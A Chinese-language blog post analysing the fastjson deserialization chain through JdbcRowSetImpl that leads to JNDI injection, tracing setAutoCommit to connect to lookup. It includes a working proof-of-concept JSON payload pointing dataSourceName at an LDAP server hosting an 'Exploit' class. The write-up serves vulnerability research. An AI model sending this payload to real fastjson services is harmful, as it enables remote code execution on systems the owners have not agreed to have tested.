最近fastjson又出洞了,想起来还有链没填完,赶紧补完先。
fastjson反序列化JdbcRowSetImpl类JNDI注入分析
这次分析只要到达jndi.lookup就可以了。
直接上poc。
String t = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";
JSON.parseObject(t);
直接在JdbcRowSetImpl中搜索lookup

发现只有在connect方法处调用了lookup,参数是DataSourceName。需要找到在fastjson反序列化过程中,setter或者getter有调用到connect的地方。直接搜。
找到了两个可能的地方。一个是getDatabaseMetaData中。
public DatabaseMetaData getDatabaseMetaData() throws SQLException {
Connection var1 = this.connect();
return var1.getMetaData();
}
另一个是setAutoCommit
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
动态跟踪一下,看看先,最先进到的是setAutoCommit。
 
DataSourceName也在反序列化中由setter写入我们指定的ldap服务器的地址了。然后啊,然后就没有了,然后就是jndi注入了。
至于getDatabaseMetaData,则不会调用到,因为在反序列化过程中调用的getter必须继承自Collection Map AtomicBoolean AtomicInteger AtomicLong的getter方法,这在之前BCEL那条链中讲到过。
总结一下调用链。
parse->setValue->setAutoCommit->connect->lookup
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BCRIWvAn-1654091761401)(images/Be4vulWVW4Pgj_QHchkURwz6cv_mqYQcCEJHPi8SF94.png)]](https://img-blog.csdnimg.cn/41895454818740b0ac9682f7c24b0f71.png)
|